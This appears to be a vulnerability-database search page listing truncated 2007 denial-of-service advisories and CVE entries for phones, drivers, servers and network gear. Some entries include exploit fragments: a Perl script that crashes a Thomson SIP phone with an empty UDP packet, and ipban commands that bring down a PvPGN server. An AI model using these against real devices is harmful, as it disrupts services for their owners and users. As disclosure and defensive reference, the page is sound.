4084 matches found
MadWifi: Denial of service
Background The MadWifi driver provides support for Atheros based IEEE 802.11 Wireless Lan cards. Description Clemens Kolbitsch and Sylvester Keil reported an error when processing beacon frames with an overly large "length" value in the "xrates" element. Impact A remote attacker could act as an...
Fedora 7 : vavoom-1.24-3.fc7 (2007-1977)
Security update fixing various format strings vulnerabilities and a DOS vulnerability in the vavoom server, this fixes: CVE-2007-4533, CVE-2007-4534 & CVE-2007-4535. Also see bugzilla bug 256621. Note that Tenable Network Security has extracted the preceding description block directly from the...
Nortel IP Phone Flooding Denial of Service
COMPASS SECURITY ADVISORY http://www.csnc.ch/ Product: IP Phone Vendor: Nortel Subject: IP Phone Flooding Denial of Service Risk: High Effect: Currently exploitable Author: Daniel Stirnimann daniel.stirnimann at csnc dot ch Date: October, 18th 2007 Introduction: ------------- A malicious user who...
Nortel IP Phone forced re-authentication
COMPASS SECURITY ADVISORY http://www.csnc.ch/ Product: IP Phone Vendor: Nortel Subject: IP Phone forced re-authentication Risk: High Effect: Currently exploitable Author: Daniel Stirnimann daniel.stirnimann at csnc dot ch Date: October, 18th 2007 Introduction: ------------- The UNIStim...
Sun Solaris线程处理本地拒绝服务漏洞
BUGTRAQ ID: 25821 Solaris是一款由Sun开发和维护的商业性质UNIX操作系统。 Solaris内核中处理线程上下文中的竞争条件安全漏洞可能允许本地非特权用户导致系统忙碌，从而造成拒绝服务的情况。 可能出现一些不同类型的忙碌，因此很难迅速锁定这个漏洞，但做为示例，可对崩溃dump运行以下命令： echo "panicthread::findstack !grep kcpcfree" |mdb unix.0 vmcore.0 如果生成类似于以下的输出的话： 000002a101168a61 kcpcfree+18 就可能出现了这个漏洞。 Sun Solaris 9.0...
Exploits DOS vulnerability on Thomson SIP phone ST 2030 using an empty packet
No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username" unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg = ""; $socket-send$msg;...
CVE-2007-4638
Affected software: Blizzard Entertainment StarCraft Brood War (version 1.15.1 and earlier). Vulnerability: Remote attacker can trigger a denial-of-service by supplying a malformed map, causing an out-of-bounds read during the minimap preview. Impact: Denial of service with application crash; no c...
[Full-disclosure] DOS vulnerability on Thomson SIP phone ST 2030 using an empty packet
MADYNES Security Advisory : Remote DOS on Thomson SIP phone ST 2030 using an empty packet Date of Discovery 15 February, 2007 Vendor was notified on 1 March 2007 ID: KIPH10 Synopsis After sending an empty message the device looks functional but in fact does not respond to any event provoking a Do...
Thomson ST 2030 SIP phone DoS
Crash on invalid INVITE request Via: and To: headers and also on empty message...
[Full-disclosure] DOS vulnerability on Thomson SIP phone ST 2030 using the TO Header
MADYNES Security Advisory : Remote DOS on Thomson SIP phone ST 2030 Date of Discovery 15 February, 2007 Vendor was notified on 1 March 2007 ID: KIPH9 Synopsis After sending a message where the TO URI field is crafted, the device looks functional but in fact does not respond to any event provoking...
Thomson SpeedTouch ST 2030 (SIP Phone) - Remote Denial of Service
Thomson SpeedTouch ST 2030 SIP Phone - Remote Denial of Service !/usr/bin/perl Vulneravility for Thomson 2030 firmware v1.52.1 It provokes a DoS in the device. use IO::Socket::INET; die "Usage $0 " unless $ARGV2; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; $msg ...
TS-2007-001-0: BlueCat Networks Adonis Linux-HA heartbeat DoS Vulnerability
Template Security Security Advisory ----------------------------------- BlueCat Networks Adonis Linux-HA heartbeat DoS Vulnerability Date: 2007-07-29 Advisory ID: TS-2007-001-0 Vendor: BlueCat Networks, http://www.bluecatnetworks.com/ Revision: 0 Contents -------- Summary Software Version Details...
CVE-2007-3959
The IM Server aka IMserve or IMserver 2.0.5.30 and probably earlier in Ipswitch Instant Messaging before 2.07 in Ipswitch Collaboration Suite ICS allows remote attackers to cause a denial of service daemon crash via certain data to TCP port 5179 that overwrites a destructor, as reachable by the 1...
CVE-2007-3351
The SJPhone SIP soft phone 1.60.303c, when installed on the Dell Axim X3 running Windows Mobile 2003, allows remote attackers to cause a denial of service device hang and traffic amplification via a direct crafted INVITE transaction, which causes the phone to transmit many RTP packets...
Arris Cadant C3 CMTS Remote DoS Vulnerability
This vulnerability allows remote attackers to cause a denial of service on vulnerable Arris Cadant C3 CMTS systems. Authentication is not required to exploit this vulnerability. The flaw exists due to mishandling of IP options. When an unknown or bad option is specified, the C3 will terminate...
Уязвимость: DoS в PvPGN <= 1.8.0
Привет. Вот нашел дырку. --- Программа: PvPGN 1.8.0 и меньше. / По-моему эта версия последняя / Пользователь с правами на команду ipban может мгновенно положить сервер. Следующие команды кладут PvPGN: ipban a 1.2.3.4/5 ipban del 1.2.3.4 Пользователь должен иметь права на ipban, их обычно имеет...
Cisco multiple devices DoS
Denial of service on ASN.1 parsing due to vulnerability in cryptographics library...
Real free－cafe hack talk-vulnerability warning-the black bar safety net
First the wordy a few words, a lot of people think that in boot into DOS to delete the system startup cafe management software you can, in fact, if the good points of the Internet cafe management software will be in your deleted it, re-loading, or some in the registry under the Hide on mouse lock...
[SECURITY] [DSA 1289-1] New Linux 2.6.18 packages fix several vulnerabilities
-------------------------------------------------------------------------- Debian Security Advisory DSA 1289-1 [email protected] http://www.debian.org/security/ Dann Frazier May 13th, 2007 http://www.debian.org/security/faq -...
